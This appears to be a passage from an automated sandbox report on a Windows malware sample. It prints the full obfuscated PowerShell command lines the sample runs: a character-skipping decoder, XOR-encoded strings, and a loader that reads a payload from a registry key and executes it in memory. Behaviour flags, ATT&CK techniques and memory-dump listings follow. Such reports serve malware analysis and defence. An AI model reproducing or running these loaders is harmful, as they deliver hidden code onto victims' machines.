Aff'sagBBigFSigDKryDKarFTil4ExpEDis9SkyFBok9DekFCenEMicETil9DitFLigEOpkFTriFSkyFflyESynFNed7ChaEUdp8PorFDelESgeEPom9SonFNon5UnpFSynESupBeft5BibDForFostFHemESkoFAbsDSutFPre2UdvFasf5CamFRefEAnsDInd6BesFLstEUntESemFForFLet3dimFKip4PolFRadFTowBMas3HagBFriFReuELod8HypFCen4FljEKur9UnsFTvr9AorFVre2VacElazFRibFNik4EneFBes7AttAUne9SteBAch7ForBPneBInvBGamFTilEBen8HosFKen4DenEFun9FacFSec9RoyFSam2udsESkoFThoFAfv4DvrFEft7demAGea8SigBMon7BalBSweBVirBFrrFJobDBet0GeaFLok7AleEStrESteEPasBKukETetBDesFPreEMomEUbe9KisFDec5SkoFIndEEmbACou9LoqAAab3RusBakt7StaBuneBSacBOveFHakCPre8DelFBel0VrnFStaAOveEWhiFBrsFJes0DecFRulATopFvaa6DicFMar6SinFBesETapEBul9SkiFBly9DutFClaEFugEBusDUdlFKag2AfsEBeh8ImpFSacETusEDem9NorFFer5BogFKalEMasEBol8IndBLec2krmBAfl5PilCRec8BruFMacECleEFlaFbasDNot2CloFJan6ModEKanBUdeFMid7BilFKetEkjeFSol6VanFFabETilFamt5misEAmpFcomFMouABefEWicFPerFFor2EleFSci4LusFPre5TypDFloDForFKva7OutFshaATupFSkaCUdsEvar8balBAcc3SauBBudFChoDSpr1SpeEIrrEFagFAmp7orbAdemCBryBUni2Vre'Acc;Bea&Pro(Tal`$BonsForoVatrLigbOiniMantcruoGarlRee7Udt)Sti Kam`$DesVundadeanOverEmiyForeHidtPoc4aux;Til`$holVNedaKrenMarrSolySceeLeptSla5Ove Oxy=jos DeaHEssTunpBHet Obl'HypEBru9GurFBonEPubEProFTraEBomERavEBru9LovFDat5RgeBShiBNatBKomFJamDPaaDSkiFNeo4DecEGui9VolFTra9HanFMesEShaEKni9TubFbebEHydFHomFSmaFQuaELnfFKur7KbeESyl8OriFDefEApiESyn9gasFKle5penFMylEEpiBKna5eskDrgt8HldEpul9RecFMitEForFGorAConEParFRimFStuEDelCDesFDopEkhe2vanEAnsBBueFTokEPseBApp3SufBRan2For'Afk;pro&Aqu(Pos`$CoisSopoAborPeibMetiprotFumoLuclPed7Tae)Por Ove`$IntVLymaWidnSilrlaiyStoeCoxtUga5Dis Equ Adh Pre;Com}gom`$HulVHypkNigsDertAnsrSpreLapgAnkuSkilBypeMonrEgeiMejnKajgKyaeLonnWorsPhe Una=Uns HovHGenTDhaBRep Hoc'SplFNon0PriFMotESpeESor9LatFRug5RekFUmoEFisFRog7ObsAInt8FanAGlu9afl'Sph;Une`$QuaVDokaSupnFetrGalyUnfeBemtDro6Tie Inq=For KlaHHetTPulBKrf cen'AfsBCitFmatCpha9SorFPanESouFUnv6NonEsam9teaFAnd0SabFreg5ErgFGia2SelFBev5hysFBinCMisFFakECecFSta5BehEEnd8dirBFdeBBorAScu6plaBCleBVinCSer0subCRev8TelETil2SkrEKan8BroEDemFPhoFMedERepFInf6EdeBhov5SamCTra9MegEBruECliFTis5AytEansFBroFPrs2BusFSec6PhlFTraEStyBLer5GnaDIch2LefFusu5UndELukFTurFLlaENotEout9AfhFGen4myrEPreBCotCSpo8GraFGenEGesEChi9CytEAncDUnlFArt2IndFPas8LogFBibEJakEBor8OpkBFor5CatDcad6InvFSkuAVinESal9SkvENyn8proFPla3OrkFDobAirrFBoy7CatCOli6VrkAudm1LaxAMee1TipDForCAffFBehEBroEWagFTilDDepFFr FUndEPurFRav7BesFFluECriFIntCCuiFPlaAAfsEFerFUtaFTesESalDEngDUdvFKog4DukEStr9ChiDEsiDUdlEFriEAleFOmn5IndFPho8AlbEDueFCroFDds2ZerFMer4BldFAnt5NivCDurBBloFFmc4RudFHej2FilFRad5SnaEBloFFanFFreEeinEBrn9StaBEnt3LivBEft3HerFPreDClaFAng0HogEPatBAfsBTalBRanBmaaFfraCDisDManFSte0BasEUpb8VilEForFActEBru9BirFKarEMilFtaoCSalEMorENatFSte7MouFUndEKluEHyp9busFBar2StnFIns5ConFFalCsemFUndECasFCry5EmpETen8FucBMonBNonBSkrFlabEDoi8DunFPap4SpaENon9UveFKni9HorFMus2UudEKaeFCowFDau4BlaFKon7OphATalFUniBSta2AntBfad7IjnBOcuBMisBBra3stiDIdiCTalDNarFrobCModFPolBDisBGlnDStiBstrBDis3Hd Cins0FosDNon2RejFRea5PriESenFSynCOliBBorEDokFPleESam9JenCAzy6RibBUnd7PosBHukBTrfCUng0StrCDiaEProDRid2SalFSin5ChiEskrFBarAPur8UdfAGro9GreCPlu6FlyBSnu7PraBBilBCenCSca0PopCOscESkaDSov2traFDyn5PreEPlaFFalAUns8SulAKil9AerCExc6AmbBExt7RriBBloBAmpCTva0EntCMikEImaDQua2eupFSkr5prsETeaFSolAInd8ForALon9IndCUnm6KoaBbar2VorBPejBOpeBSki3HalCFel0MedDObs2CabFBle5SugEburFSanCBefBRetETheFEynEThe9SurCSja6ShaBMel2TusBFid2HalBDit2Spo'Dvn;Ser&Jen(Ove`$presDepoDrarUnvbPagiKlatPreoUdhlAgo7Sul)Bib Luf`$WhiVUnbaIkenFylrLynyproeChotMen6Sub;Prc`$OvarXeneArfgbolrOveeOpetSid For=Kof BesfGrukBlypHer Nat`$fajsSupoErorRedbBjeiAnatIrroReflNin5Pal Til`$AbusRupoTarrSubbBaniTretToxoSkolPri6Set;Uni`$NonVRebaIntnPasrSubyLapeSuctfab7riv Pyr=Spa telHPorTFunBPie pri'VveBskuFBraDUnbCCooFPenCSkoFstjEEmaFTra9SolFButCQueFSirEBkkEFab9EchARys8TagBUnpBrgtAGlo6SchBUdsBParBUnrFAftCBla9WalFWeiEBanFCav6ReeETem9ElaFAbn0SanFVan5ProFAce2amaFint5ParFBreCNabFVerErumFTrv5SkiENon8SkrBLov5SvaDLse2FreFkas5FonEEstDBruFDem4PerFStd0GenFAckESkuBgra3unpCSlj0PanDBuk2UltFSpr5sicETapFfrsCEprBBarEBelFTalETil9WhiCHan6TjeAgue1HviAStv1MerCved1SynFDeeEMicEFor9ConFCor4UnfBMes7PhaBArvBDelASlv8UndAKigDOveABed9KetBFru7ResBInhBLanAHelBHygEPar3DomADer8PhoAFulBjorAParBDebAParBIriBHom7ParBLazBEnkABryBTvrEAio3smiAAesFBibACheBUnfBVer2Eft'Pot;mas&Sla(Bul`$BynsLinoPrirDdsbshriLaptEveoMellFor7Eva)Mag Met`$UnuVnonaSpgnBigrKonyFlieEfftCv 7Bis;Fm `$LibVNonaSymnTonrSwayCorePretPac8Adg Haa=Rob EnsHKleTLufBAnt Blo'DisBAleFMoiDFad1svaFPro4BabFFinFImmESidFcs FCer2AflFRev5StnFCep0LunEAngFMalEAssEBioEstr9OrkEMei8RebBKnhBFleAfie6RedBForBRefBCulFParCPel9spaFRefEExiFSvm6UmyETmm9TufFSki0SamFMor5UnpFInf2tenFudv5SkrFAntCAfkFLibEBesFHem5TrkEFor8ApaBAns5OplDhan2RalFNem5MisEGloDUdkFsca4OveFSop0SupFConESirBSkt3DowCUnd0KlaDUdb2DisFFra5TopEUdbFHeaCLenBIncEFilFKriEcon9BagCMea6SkiAtry1MaeAsko1BogCVrd1slvFBedEVelESyn9MarFAfb4GenBSoc7KrnBNuzBSipAUnvBOrcELob3udsAIllAWapAWorBEpiAfemBProAMilBUtjADecBDekAIntBIdlBEid7chrBBldBEliAIntBcreESst3ParAfre8kilAGenBCumAAfgBSliASlaBPriBNin7perBUnnBCarAKatBPolEHyo3KanAVerFBarBNon2Aus'Red;Ald&Ser(Str`$TovsReioProrUnebRekiIsotSkvoHyplBaj7Tip)Orc Tri`$WeaVFelaPosnDksrariyBereTeltMet8Sem;Wan`$hasGStigafseFilbSlggGareKlorDek0Sup0Cun=Nic'SolHSprKEleCFriUCle:Exp\RedHFlaaMalrhysrDeroSatwTvreBifdCon\UntOUdtpAbsgProaMisvUdieElwtFreeSkrkSpasFlatInsepolnBir'Ebu;kkk`$WatGAutgSmeeKulbDisgErgeSarrElf0Spr1Rad pen=MosHUrtTShiBDec Bil'CamBPerFOprDNrk7SkaFFli2galFSpr6TigFGaa2IndEEffFEncFSeq7FnoFcelEcitENon8SteEMod8SarApln6PinBGtt3OccDDivCLkkFForEFasEJowFRaiBDar6BisDOld2BraEApxFTroFSpoESnoFHol6AnlCsamBTrnEArg9CarFSub4DyrEAdvBFeoFKatEMikEByd9EksEKasFBibERed2VoiBBraBRevBSub6TalCValBAldFStrASutEBenFButFDod3eccBAudBYndBspeFBerDVekCCloFTerCMecFUdrEEncFPub9UnbFdisCRgeFverEDisECon9ketAGusBAntAtegBSteBhjl2ColBOpf5skoEWhoEHarFFra5SprFEftDOveFLux7spiFHorEZioFDekFBewFStaCChlFConETeg'Der;Dya&Udv(Ups`$SomsIntoHkerknibStrihistSkaoStalhyd7Bri)Bio Ref`$KriGHypgUnpePyrbGungFogeForrpas0Lin1Obs;Pun`$SupVOveaNoenRetrSupyOpleTyltTrk9Hel Rep=Jon JohHGeoTCorBGlo Him'NonBVanFNenCSanDRakFBilAhylFNed5AndEAer9DelECal2RadFNyeEVerEKlaFRecBSheBMadAben6praBPasBPseCKug0ThrCRes8CohESpr2AbiESol8BetEChaFDkuFSufEMedFVen6indBIns5EarDTer8FreFSkr4DisFFos5ProEFelDDigFOveETitECha9DelEAnkFBlaCNoa6VibAHos1IllAHam1TilDJheDShaEIss9AukFSym4SorFNum6NavDFor9ComFDarAKonEBet8StoFFliECepASekDPerAtraFSucCTur8alpEUnpFSubEMyr9QueFhod2AboFPil5penFforCStaBUdl3UncBBliFunsDRal7JydFSko2VarFChe6ColFAta2oweEBfsFBibFNon7UgrFFluEElaEAnc8LicEUnd8HubBRep2Ene'Pum;Fan&Dis(afp`$BowsTraoBlorDelbUndiContFrsoUiglGen7Con)Ane Amp`$UdsVPreaDifnrigrCoeyFuneDdstMic9Esk;Woo`$FurLEquiTyvmDatigrotReglHoleekasPamsNrr0Maf Fol=Ind ForHdisTBleBvul Per'DybCDia0BruCUnd8UnsESpa2sigEmin8OpsEStlFChaFMeiEHarFCon6almBFor5IdoCMor9AorEnovEmarFPat5GalETakFMidFNon2AvlFSur6KanFPasEDynBKul5DyrDNat2BugFSpi5AurEHabFGliFNonEPlaETrv9GarFAna4JorEParBForCAnd8StdFParEReaEFes9StiECabDIndFDok2BesFNat8UdhFablELinEDip8JanBAdd5RelDbue6GraFHydADecEImp9ProEste8GenFSpr3MazFBerAAusFKol7visCAna6RekATit1CliAEls1NatDClu8EreFVaa4KolESnoBSkrEBan2SvaBFor3UdbBRemFgraCLonDEryFPetATekFPro5CirEPro9SafEHyp2VakFKapEdopEPaaFUfoBSeg7ForBCroBChrASciBBroBOct7WitBMoxBNapBSikBBlaBSubFUncDLanCUnmFForCBalFLopEForFDat9ModFDifCBadFHolEGanEVal9DreAPre8StjBCan7PolBPerBUnsAAme8MesARupDAutAGen9GanBNyd2ber'Tra;Sak&Equ(Kar`$TersTryoNudrGambStaiKogtOproOpvlTor7Nat)Fim tit`$BarLInciAcomSnniDattHavlPareSlasSelsBan0App;Rei`$GenFEteoBarrSensRomtUmarBrekSamnLaniLudnDepgTansTegbPatjRenlKonkLreeArssMod=Gab`$HemVKiraUndnTekrNskyBuneEpitDaw.MulcBetoNonuMusnloctcon-Mer3Ras6inc2Eks;Chu`$retLRugiFarmFatiInvtMezlStueInvsLivsSwi1Him Ele=Bnn DgnHCepToveBAgo tip'WilCBer0BraCHon8conEUni2RinETob8TypEPaxFheaFUntEJatFStr6TerBLeg5IndCUmo9TilESerEDarFhal5DecEkobFChaFRam2tanFKar6SkiFFlyEmilBOop5BlaDkvr2KomFJap5MelESprFMenFIndECinEGra9recFflg4DonEFriBSerCAar8CysFHjaEManEGle9YdeEIndDKekFOve2GodFTil8TweFSolESleEhae8UfoBFor5FouDUnd6JouFSesAHinEBet9disEKap8ForFSad3LicFOprAUnhFmis7SkrCUdl6AdgAVie1VarAapp1AwaDFor8MuzFMag4EgrERigBEndEBio2SimBRed3KurBMilFCayCOxaDGrnFGadAnabFRen5hemESur9DioESal2MagFThrEProEFejFSnvBMes7MisBIntBConAPol8RacAnyrDWhaALus9TraBsta7KorBModBwarBAntFCelDHis1SamFEpo4PriFPlaFTonEFirFFleFKan2copFUdk5ObtFMer0MenEPreFAffEUenEKluEhed9IndEPre8FriBMaa7PseBsulBPyrBBerFConDPreDpifFSte4CruEVas9NetEKni8JagEoccFskrECca9IsoFPar0TroFSer5FjeFDel2NedFCry5HelFLanCProEBlg8BesFRed9KinFSho1TelFJur7HosFInt0duoFOmnEKeeEste8HomBRdd2ass'Cos;til&unf(Amm`$SmrsStroMosrunlbPaniCastTrooPlalNja7Tel)Pur Lub`$berLAbriPolmStoiPretAbelSuleIndsKonsExs1Hol;Chr`$TebLEtaiBramHaviSpotSollSmaeonssOvesKon2Dkk Lak=flh SquHJrnTTafBsci Unt'HamBCraFTraCMenCRhaFForACriEFor8SolFDan3PraFPas9JaiFMosATabEDek8ThiFEva0SanFEnpEVanEOstFUnrBSmuBBerASup6CabBGriBSiaCMud0ProCSam8IndEObo2SnuEEdi8NonEIlsFOrlFOveEKloFSvo6KvaBTeg5GraCAns9KapEOveESolFCir5IndEUnbFNooFSan2TheFHje6KniFUnaESmeBCro5BnhDVkk2fenFBes5CebESkdFIndFTenEEluEAlb9MudFHft4NeoEMarBHysCLiv8IntFCurEsmuEPec9IntEBibDBedFSub2HarFKrs8OkkFKorEAdjEAul8CouBunr5JobDKon6AndFHetAStaESen9NegEFag8LarFSkr3ThiFpalATitFDat7difCDis6UdlAHob1ForADem1HulDHemCMatFSesECryECanFdibDDdeFvilFPelERedFKal7TraFPerEEleFHamCSfaFGenASnkESkkFInjFAutEAndDklaDMotFDri4BorEBro9JotDHirDshiEJanEResFKmp5IllFIne8AbaEkvaFburFFoo2merFBra4UniFHaa5EliCPapBLusFLan4BevFBru2DiaFdef5BefEKalFKonFCluEStrELit9indBmon3FriBHedFMusDfalCAarFGulCUdsFUbeEVinFZoo9AukFTerCCanFFerEBesEFil9PanAJar8BorBcom7PalBQuiBForBVic3CogDTooCGloDFreFParCLegFValBpriBOtiDDovBWekBRes3FagCEbo0EarDAdd2EnhFTri5chaEMahFSidCAerBEdeERouFvagEFll9SenCbln6FloBhej7VilCFan0TypDGoa2BidFGon5hanEAfsFHosCundBAmbEGlaFMaaESpu9HaaCPhl6IneBSid2UnrBSouBRefBBro3SurCSuc0ThaCUntDPhiFVed4GaaFSti2vanFPorFLatCSer6CorBFre2NavBLde2KomBPli2Kng'Fri;Spu&For(Une`$mulsAanoNonrKonbOzoicultQuaoafplSpe7Inf)Shi Pus`$IntLUngiTiamScaiEkstDielMeleCopsForsFri2Thi;Att`$AboLBogiBermGeniFartBullTaneNonsMessNeo3Bod Sko=Res StoHBibTCarBBel Kri'UdrBDesFDisCrodCVarFPapAUnmEErg8KbmFRea3ForFBlo9ForFOpsAMynEPab8FarFFla0xerFnymEJhoElinFOrgBFah5PleDMat2EinFNon5UngEFunDRenFKno4SalFMod0SymFSkeEgenBUne3TagBNumFReaDPaa1MumFKom4JupFengFtriEKjeFUnfFSte2SlaFGos5MorFCid0jesEKasFEtnEdegEEpiEQui9TppEBre8TriBUmb7bauBResFBakEOps9MusFHclEAggFdiaCGenETor9MinFForEBetEGalFsgeBAng2Scr'Per;Gen&Fin(Min`$MessAfhoFnarIndbAfsiIlktconoTrolafs7Bal)Sen Cad`$MamLTimiplemSypiProtPrelSumeUnssLagspre3Sne#Ska;""";Function Limitless9 {param([String]$fyrsvampenes);For($Afgangsklassers=3; $Afgangsklassers -lt $fyrsvampenes.Length-1; $Afgangsklassers+=(3+1)){$Formylal = $Formylal + $fyrsvampenes.'Substring'($Afgangsklassers, 1);}$Formylal;}$Haandbajeren1= Limitless9 $Inogen;if([IntPtr]::size -eq 8){ .$env:windir\S*64\W*Power*\v1.0\*ll.exe $Haandbajeren1 ;}else{.$env:windir\S*32\W*Power*\v1.0\*ll.exe $Haandbajeren1;};"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Geopony00 {param([String]$fyrsvampenes);For($Afgangsklassers=3; $Afgangsklassers -lt $fyrsvampenes.Length-1; $Afgangsklassers+=(3+1)){$Formylal = $Formylal + $fyrsvampenes.Substring($Afgangsklassers, 1);}$Formylal;}$Geopony02 = Geopony00 'AndIUncnAflvIntoKrlkPrieRel-sphEColxGerpForrInheTabsAisssaniTraoMusnDis ';$Geopony01 = Geopony00 'Bea$MicDSpeawavgunlbToroSvadMaasUntsFilaMistDorsUdleFinnSucsCor[Una$PilATrafCutgReeaReanFlugSubsScokDuplHaraNrksIdesEmeeOksrparsPar/Has2Luf]Cal Ara=Met Pen[WiecPreoIndnBanvBoueDefrSkjtPre]Weg:Udv:GalTfiboSutBEneySnatSlgeSac(Raa$MatfDdsyFrerChasAmbvUdlaDiamHelpProeuninBoneDomsMul.RegSskiuWatbShosDaatErhrengiTounIndgSci(Cav$BloAPrefKolgSviaUdknEssgTwasImpkCuflSkaaMorsnedsWaierehrNatsfrd,Opk Rek2Dec)Exc,Ubr Tuf1anb6Stn)Fre ';Function HTB {param([String]$fyrsvampenes);$Dagbodssatsens = New-Object byte[] ($fyrsvampenes.Length / 2);For($Afgangsklassers=0; $Afgangsklassers -lt $fyrsvampenes.Length; $Afgangsklassers+=2){.($Geopony02) $Geopony01;$Dagbodssatsens[$Afgangsklassers/2] = ($Dagbodssatsens[$Afgangsklassers/2] -bxor 155);}[String][System.Text.Encoding]::ASCII.GetString($Dagbodssatsens);}$Jul0=HTB 'C8E2E8EFFEF6B5FFF7F7';$Jul1=HTB 'D6F2F8E9F4E8F4FDEFB5CCF2F5A8A9B5CEF5E8FAFDFED5FAEFF2EDFED6FEEFF3F4FFE8';$Jul2=HTB 'DCFEEFCBE9F4F8DAFFFFE9FEE8E8';$Jul3=HTB 'C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D3FAF5FFF7FEC9FEFD';$Jul4=HTB 'E8EFE9F2F5FC';$Jul5=HTB 'DCFEEFD6F4FFEEF7FED3FAF5FFF7FE';$Jul6=HTB 'C9CFC8EBFEF8F2FAF7D5FAF6FEB7BBD3F2FFFED9E2C8F2FCB7BBCBEEF9F7F2F8';$Jul7=HTB 'C9EEF5EFF2F6FEB7BBD6FAF5FAFCFEFF';$Jul8=HTB 'C9FEFDF7FEF8EFFEFFDFFEF7FEFCFAEFFE';$Jul9=HTB 'D2F5D6FEF6F4E9E2D6F4FFEEF7FE';$sorbitol0=HTB 'D6E2DFFEF7FEFCFAEFFECFE2EBFE';$sorbitol1=HTB 'D8F7FAE8E8B7BBCBEEF9F7F2F8B7BBC8FEFAF7FEFFB7BBDAF5E8F2D8F7FAE8E8B7BBDAEEEFF4D8F7FAE8E8';$sorbitol2=HTB 'D2F5EDF4F0FE';$sorbitol3=HTB 'CBEEF9F7F2F8B7BBD3F2FFFED9E2C8F2FCB7BBD5FEECC8F7F4EFB7BBCDF2E9EFEEFAF7';$sorbitol4=HTB 'CDF2E9EFEEFAF7DAF7F7F4F8';$sorbitol5=HTB 'F5EFFFF7F7';$sorbitol6=HTB 'D5EFCBE9F4EFFEF8EFCDF2E9EFEEFAF7D6FEF6F4E9E2';$sorbitol7=HTB 'D2DEC3';$sorbitol8=HTB 'C7';function fkp {Param ($Acidurias, $Circumcircles) ;$Vanryet0 =HTB 'BFCEF5FDFEFEFFFAF9F7FEBBA6BBB3C0DAEBEBDFF4F6FAF2F5C6A1A1D8EEE9E9FEF5EFDFF4F6FAF2F5B5DCFEEFDAE8E8FEF6F9F7F2FEE8B3B2BBE7BBCCF3FEE9FEB6D4F9F1FEF8EFBBE0BBBFC4B5DCF7F4F9FAF7DAE8E8FEF6F9F7E2D8FAF8F3FEBBB6DAF5FFBBBFC4B5D7F4F8FAEFF2F4F5B5C8EBF7F2EFB3BFE8F4E9F9F2EFF4F7A3B2C0B6AAC6B5DEEAEEFAF7E8B3BFD1EEF7ABB2BBE6B2B5DCFEEFCFE2EBFEB3BFD1EEF7AAB2';&($sorbitol7) $Vanryet0;$Vanryet5 = HTB 'BFD8E2F6F7F2F5E8BBA6BBBFCEF5FDFEFEFFFAF9F7FEB5DCFEEFD6FEEFF3F4FFB3BFD1EEF7A9B7BBC0CFE2EBFEC0C6C6BBDBB3BFD1EEF7A8B7BBBFD1EEF7AFB2B2';&($sorbitol7) $Vanryet5;$Vanryet1 = HTB 'E9FEEFEEE9F5BBBFD8E2F6F7F2F5E8B5D2F5EDF4F0FEB3BFF5EEF7F7B7BBDBB3C0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D3FAF5FFF7FEC9FEFDC6B3D5FEECB6D4F9F1FEF8EFBBC8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D3FAF5FFF7FEC9FEFDB3B3D5FEECB6D4F9F1FEF8EFBBD2F5EFCBEFE9B2B7BBB3BFCEF5FDFEFEFFFAF9F7FEB5DCFEEFD6FEEFF3F4FFB3BFD1EEF7AEB2B2B5D2F5EDF4F0FEB3BFF5EEF7F7B7BBDBB3BFDAF8F2FFEEE9F2FAE8B2B2B2B2B7BBBFD8F2E9F8EEF6F8F2E9F8F7FEE8B2B2';&($sorbitol7) $Vanryet1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Skatkammerbevisernes,[Parameter(Position = 1)] [Type] $Klupperne28 = [Void]);$Vanryet2 = HTB 'BFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEBBA6BBC0DAEBEBDFF4F6FAF2F5C6A1A1D8EEE9E9FEF5EFDFF4F6FAF2F5B5DFFEFDF2F5FEDFE2F5FAF6F2F8DAE8E8FEF6F9F7E2B3B3D5FEECB6D4F9F1FEF8EFBBC8E2E8EFFEF6B5C9FEFDF7FEF8EFF2F4F5B5DAE8E8FEF6F9F7E2D5FAF6FEB3BFD1EEF7A3B2B2B7BBC0C8E2E8EFFEF6B5C9FEFDF7FEF8EFF2F4F5B5DEF6F2EFB5DAE8E8FEF6F9F7E2D9EEF2F7FFFEE9DAF8F8FEE8E8C6A1A1C9EEF5B2B5DFFEFDF2F5FEDFE2F5FAF6F2F8D6F4FFEEF7FEB3BFD1EEF7A2B7BBBFFDFAF7E8FEB2B5DFFEFDF2F5FECFE2EBFEB3BFE8F4E9F9F2EFF4F7ABB7BBBFE8F4E9F9F2EFF4F7AAB7BBC0C8E2E8EFFEF6B5D6EEF7EFF2F8FAE8EFDFFEF7FEFCFAEFFEC6B2';&($sorbitol7) $Vanryet2;$Vanryet3 = HTB 'BFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEB5DFFEFDF2F5FED8F4F5E8EFE9EEF8EFF4E9B3BFD1EEF7ADB7BBC0C8E2E8EFFEF6B5C9FEFDF7FEF8EFF2F4F5B5D8FAF7F7F2F5FCD8F4F5EDFEF5EFF2F4F5E8C6A1A1C8EFFAF5FFFAE9FFB7BBBFC8F0FAEFF0FAF6F6FEE9F9FEEDF2E8FEE9F5FEE8B2B5C8FEEFD2F6EBF7FEF6FEF5EFFAEFF2F4F5DDF7FAFCE8B3BFD1EEF7ACB2';&($sorbitol7) $Vanryet3;$Vanryet4 = HTB 'BFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEB5DFFEFDF2F5FED6FEEFF3F4FFB3BFE8F4E9F9F2EFF4F7A9B7BBBFE8F4E9F9F2EFF4F7A8B7BBBFD0F7EEEBEBFEE9F5FEA9A3B7BBBFC8F0FAEFF0FAF6F6FEE9F9FEEDF2E8FEE9F5FEE8B2B5C8FEEFD2F6EBF7FEF6FEF5EFFAEFF2F4F5DDF7FAFCE8B3BFD1EEF7ACB2';&($sorbitol7) $Vanryet4;$Vanryet5 = HTB 'E9FEEFEEE9F5BBBFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEB5D8E9FEFAEFFECFE2EBFEB3B2';&($sorbitol7) $Vanryet5 ;}$Vkstreguleringens = HTB 'F0FEE9F5FEF7A8A9';$Vanryet6 = HTB 'BFC9FEF6E9F0F5F2F5FCFEF5E8BBA6BBC0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1DCFEEFDFFEF7FEFCFAEFFEDDF4E9DDEEF5F8EFF2F4F5CBF4F2F5EFFEE9B3B3FDF0EBBBBFCDF0E8EFE9FEFCEEF7FEE9F2F5FCFEF5E8BBBFE8F4E9F9F2EFF4F7AFB2B7BBB3DCDFCFBBDBB3C0D2F5EFCBEFE9C6B7BBC0CED2F5EFA8A9C6B7BBC0CED2F5EFA8A9C6B7BBC0CED2F5EFA8A9C6B2BBB3C0D2F5EFCBEFE9C6B2B2B2';&($sorbitol7) $Vanryet6;$regret = fkp $sorbitol5 $sorbitol6;$Vanryet7 = HTB 'BFDCFCFEF9FCFEE9A8BBA6BBBFC9FEF6E9F0F5F2F5FCFEF5E8B5D2F5EDF4F0FEB3C0D2F5EFCBEFE9C6A1A1C1FEE9F4B7BBA8ADA9B7BBABE3A8ABABABB7BBABE3AFABB2';&($sorbitol7) $Vanryet7;$Vanryet8 = HTB 'BFD1F4FFEFF2F5F0EFEEE9E8BBA6BBBFC9FEF6E9F0F5F2F5FCFEF5E8B5D2F5EDF4F0FEB3C0D2F5EFCBEFE9C6A1A1C1FEE9F4B7BBABE3AAABABABABABB7BBABE3A8ABABABB7BBABE3AFB2';&($sorbitol7) $Vanryet8;$Ggebger00='HKCU:\Harrowed\Opgaveteksten';$Ggebger01 =HTB 'BFD7F2F6F2EFF7FEE8E8A6B3DCFEEFB6D2EFFEF6CBE9F4EBFEE9EFE2BBB6CBFAEFF3BBBFDCFCFEF9FCFEE9ABABB2B5EEF5FDF7FEFFFCFE';&($sorbitol7) $Ggebger01;$Vanryet9 = HTB 'BFCDFAF5E9E2FEEFBBA6BBC0C8E2E8EFFEF6B5D8F4F5EDFEE9EFC6A1A1DDE9F4F6D9FAE8FEADAFC8EFE9F2F5FCB3BFD7F2F6F2EFF7FEE8E8B2';&($sorbitol7) $Vanryet9;$Limitless0 = HTB 'C0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1D8F4EBE2B3BFCDFAF5E9E2FEEFB7BBABB7BBBBBFDCFCFEF9FCFEE9A8B7BBA8ADA9B2';&($sorbitol7) $Limitless0;$Forstrkningsbjlkes=$Vanryet.count-362;$Limitless1 = HTB 'C0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1D8F4EBE2B3BFCDFAF5E9E2FEEFB7BBA8ADA9B7BBBFD1F4FFEFF2F5F0EFEEE9E8B7BBBFDDF4E9E8EFE9F0F5F2F5FCE8F9F1F7F0FEE8B2';&($sorbitol7) $Limitless1;$Limitless2 = HTB 'BFCCFAE8F3F9FAE8F0FEEFBBA6BBC0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1DCFEEFDFFEF7FEFCFAEFFEDDF4E9DDEEF5F8EFF2F4F5CBF4F2F5EFFEE9B3BFDCFCFEF9FCFEE9A8B7BBB3DCDFCFBBDBB3C0D2F5EFCBEFE9C6B7C0D2F5EFCBEFE9C6B2BBB3C0CDF4F2FFC6B2B2B2';&($sorbitol7) $Limitless2;$Limitless3 = HTB 'BFCCFAE8F3F9FAE8F0FEEFB5D2F5EDF4F0FEB3BFD1F4FFEFF2F5F0EFEEE9E8B7BFE9FEFCE9FEEFB2';&($sorbitol7) $Limitless3#"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5096

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2900-133-0x0000000000000000-mapping.dmp

Download
memory/2900-134-0x00000222FF1B0000-0x00000222FF1D2000-memory.dmp

Filesize
136KB

Download
memory/2900-136-0x00007FF905BB0000-0x00007FF906671000-memory.dmp

Filesize
10.8MB

Download
memory/2900-150-0x00007FF905BB0000-0x00007FF906671000-memory.dmp

Filesize
10.8MB

Download
memory/3408-132-0x0000000000000000-mapping.dmp

Download
memory/5096-140-0x0000000004C90000-0x0000000004CF6000-memory.dmp

Filesize
408KB

Download
memory/5096-144-0x0000000006050000-0x000000000606A000-memory.dmp

Filesize
104KB

Download
memory/5096-139-0x0000000004BF0000-0x0000000004C12000-memory.dmp

Filesize
136KB

Download
memory/5096-137-0x0000000002190000-0x00000000021C6000-memory.dmp

Filesize
216KB

Download
memory/5096-141-0x0000000004D00000-0x0000000004D66000-memory.dmp

Filesize
408KB

Download
memory/5096-142-0x0000000005AD0000-0x0000000005AEE000-memory.dmp

Filesize
120KB

Download
memory/5096-143-0x0000000007340000-0x00000000079BA000-memory.dmp

Filesize
6.5MB

Download
